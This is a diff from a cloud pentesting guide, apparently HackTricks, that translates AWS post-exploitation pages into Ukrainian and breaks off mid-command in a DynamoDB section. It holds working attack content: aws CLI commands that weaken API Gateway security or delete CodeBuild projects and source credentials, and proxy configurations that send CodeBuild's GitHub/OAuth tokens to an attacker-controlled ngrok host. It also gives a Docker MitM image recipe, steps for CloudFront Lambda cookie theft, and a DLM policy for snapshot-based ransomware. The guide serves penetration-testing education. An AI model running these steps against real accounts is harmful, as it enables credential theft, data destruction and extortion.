```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. > [!NOTE] -> Need testing +> Потрібно тестування ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +Зловмисник з правами `apigateway:UpdateStage` та `apigateway:CreateDeployment` може **модифікувати існуючий етап API Gateway, щоб перенаправити трафік на інший етап або змінити налаштування кешування для отримання несанкціонованого доступу до кешованих даних**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку. > [!NOTE] -> Need testing +> Потрібно тестування ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Зловмисник з правами `apigateway:PutMethodResponse` та `apigateway:CreateDeployment` може **модифікувати відповідь методу існуючого методу API Gateway REST API, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Потенційний вплив**: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API. > [!NOTE] -> Need testing +> Потрібно тестування ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +Зловмисник з правами `apigateway:UpdateRestApi` та `apigateway:CreateDeployment` може **змінити налаштування REST API API Gateway, щоб вимкнути ведення журналу або змінити мінімальну версію TLS, що потенційно послаблює безпеку API**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Потенційний вплив**: Послаблення безпеки API, що потенційно дозволяє несанкціонований доступ або викриває чутливу інформацію. > [!NOTE] -> Need testing +> Потрібно тестування ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +Зловмисник з правами `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` та `apigateway:CreateUsagePlanKey` може **створювати нові API ключі, асоціювати їх з планами використання, а потім використовувати ці ключі для несанкціонованого доступу до API**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` - -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. +**Потенційний вплив**: Несанкціонований доступ до ресурсів API, обхід засобів безпеки. > [!NOTE] -> Need testing +> Потрібне тестування {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..49cab297e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-cloudfront-enum.md @@ -12,24 +12,20 @@ For more information check: ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипту). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### сценарій 1: MitM, де CloudFront налаштовано для доступу до деякого HTML з бакету -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Створіть** шкідливу **функцію**. +- **Ассоціюйте** її з розподілом CloudFront. +- Встановіть **тип події на "Viewer Response"**. -Accessing the response you could steal the users cookie and inject a malicious JS. +Отримуючи відповідь, ви можете вкрасти cookie користувачів і впровадити шкідливий JS. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### сценарій 2: MitM, де CloudFront вже використовує функцію lambda -- **Modify the code** of the lambda function to steal sensitive information +- **Змініть код** функції lambda, щоб вкрасти чутливу інформацію -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Ви можете перевірити [**код tf для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..2c21bec89 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,85 +4,73 @@ ## CodeBuild -For more information, check: +Для отримання додаткової інформації, перегляньте: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Перевірка секретів -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Якщо облікові дані були налаштовані в Codebuild для підключення до Github, Gitlab або Bitbucket у формі особистих токенів, паролів або OAuth токенів доступу, ці **облікові дані будуть зберігатися як секрети в менеджері секретів**.\ +Отже, якщо у вас є доступ до читання менеджера секретів, ви зможете отримати ці секрети та перейти до підключеної платформи. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### Зловживання доступом до репозиторію CodeBuild -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +Щоб налаштувати **CodeBuild**, йому потрібен **доступ до репозиторію коду**, який він буде використовувати. Кілька платформ можуть хостити цей код:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +**Проект CodeBuild повинен мати доступ** до налаштованого постачальника джерел, або через **IAM роль**, або з токеном github/bitbucket **або OAuth доступом**. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +Зловмисник з **підвищеними правами в CodeBuild** може зловживати цим налаштованим доступом, щоб витікати код налаштованого репозиторію та інших, до яких мають доступ встановлені облікові дані.\ +Для цього зловмиснику потрібно лише **змінити URL репозиторію на кожен репозиторій, до якого мають доступ налаштовані облікові дані** (зверніть увагу, що веб-сайт aws перераховує всі з них для вас):
-And **change the Buildspec commands to exfiltrate each repo**. +І **змінити команди Buildspec для ексфільтрації кожного репозиторію**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> Однак, це **завдання є повторюваним і нудним**, і якщо токен github був налаштований з **права на запис**, зловмисник **не зможе (зловживати) цими правами**, оскільки не має доступу до токена.\ +> Або має? Перевірте наступний розділ -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### Витік токенів доступу з AWS CodeBuild +Ви можете витікати доступ, наданий у CodeBuild до платформ, таких як Github. Перевірте, чи був наданий доступ до зовнішніх платформ за допомогою: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Зловмисник може видалити цілий проект CodeBuild, що призведе до втрати конфігурації проекту та вплине на програми, які покладаються на цей проект. ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**Потенційний вплив**: Втрата конфігурації проекту та порушення роботи для додатків, що використовують видалений проект. ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Зловмисник може додавати, змінювати або видаляти теги з ресурсів CodeBuild, порушуючи розподіл витрат вашої організації, відстеження ресурсів та політики контролю доступу на основі тегів. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Зловмисник може видалити облікові дані джерела для репозиторію Git, що вплине на нормальне функціонування додатків, які покладаються на репозиторій. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Потенційний вплив**: Порушення нормального функціонування для додатків, що залежать від ураженого репозиторію, через видалення облікових даних джерела. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..1d036200e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Відновлення токенів, налаштованих для Github/Bitbucket +Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **експортувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +Для цього ви можете **створити новий проект Codebuild** або змінити **середовище** існуючого, щоб налаштувати **Docker image**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +Docker image, який ви можете використовувати, це [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який налаштує **змінні середовища `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Створіть та завантажте свій власний Docker MitM image** +- Слідуйте інструкціям репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**. +- **НЕ НАЛАШТУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих. +- Ви можете використовувати **`ngrok`**, наприклад, `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості. +- Як тільки ви збудуєте Docker image, **завантажте його до публічного репозиторію** (Dockerhub, ECR...) +2. **Налаштуйте середовище** +- Створіть **новий проект Codebuild** або **змініть** середовище існуючого. +- Налаштуйте проект на використання **раніше згенерованого Docker image**.
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Налаштуйте MitM проксі на вашому хості** +- Як вказано в **Github репозиторії**, ви можете використовувати щось на зразок: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> Використовувалася **версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не працювати. -4. **Run the build & capture the credentials** +4. **Запустіть збірку та захопіть облікові дані** -- You can see the token in the **Authorization** header: +- Ви можете побачити токен у заголовку **Authorization**: -
- -This could also be done from the aws cli with something like +
+Це також можна зробити з aws cli з чимось на зразок ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховане в вебі, і ви можете змінити його лише через API.\ +Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, запропонованого платформою. +- Спочатку вам потрібно перерахувати поточну конфігурацію за допомогою чогось на кшталт: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наступний приклад показує, як я оновлюю проект, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити в зібраній конфігурації). +- Крім того, додайте також змінні середовища **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, як: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому вигляді** (base64) на порт mitm:
### ~~Via HTTP protocol~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Цю вразливість виправили AWS на деякий момент тижня 20 лютого 2023 року (я думаю, в п'ятницю). Тож зловмисник більше не може її зловживати :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Зловмисник з **підвищеними правами в CodeBuild може витікати токен Github/Bitbucket**, налаштований або, якщо права були налаштовані через OAuth, **тимчасовий OAuth токен, використаний для доступу до коду**. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Зловмисник може додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions` +- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- Далі натисніть **Build the project** або запустіть збірку з командного рядка: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Нарешті, **облікові дані** будуть **надіслані у відкритому тексті** (base64) на порт mitm:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Тепер зловмисник зможе використовувати токен зі своєї машини, перерахувати всі привілеї, які він має, і (зловживати) легше, ніж безпосередньо використовуючи сервіс CodeBuild. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..d0ece170c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Увімкнення / Вимкнення контролів +Щоб далі експлуатувати обліковий запис, вам може знадобитися вимкнути/увімкнути контролі Control Tower: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..ddd8a29cc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,94 +6,86 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім зашифровувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +По-перше, потрібно використовувати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +По-друге, потрібно створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує специфічні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Шаблон для документу політики можна побачити тут: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..925b4e390 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Зловмисник з цими правами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (ви можете отримати це, отримавши метадані таблиці (`describe-table`). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb 